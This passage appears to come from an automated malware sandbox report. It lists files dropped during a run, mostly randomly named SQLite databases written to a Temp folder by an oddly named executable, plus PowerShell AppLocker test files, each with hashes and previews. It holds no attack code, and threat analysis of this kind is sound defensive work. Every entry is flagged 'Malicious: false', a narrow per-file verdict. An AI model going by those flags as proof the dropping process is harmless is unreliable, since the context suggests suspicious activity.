File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WC2Xf6UDpM

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WQmmQ15JZh

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WRdXBfEeHu

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XHDyqxbUS9

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XNQYkGOv58

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XQvve8KmvI

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YdheCzRKRs

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YxEpyjzaBt

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z9FgZ2Pci2

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZFnFqqJKdr

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZSuvCQjWWs

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZdHckVUlyL

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0itzykco.t5j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_232q4eyq.rwz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5axcaya2.grw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5gvnhqin.1gz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5j5biq0u.4du.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bh5lqpkj.e4d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crcdhsgw.mex.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_euofvspw.lu2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_he5s01ep.mrm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixw1uwd3.5a2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jundtbpw.jzi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxdhf501.zcp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kemlgjb4.oy4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxeeplld.pwq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nrherenv.ub0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqr0yowy.d3c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_regd4rgb.0s5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
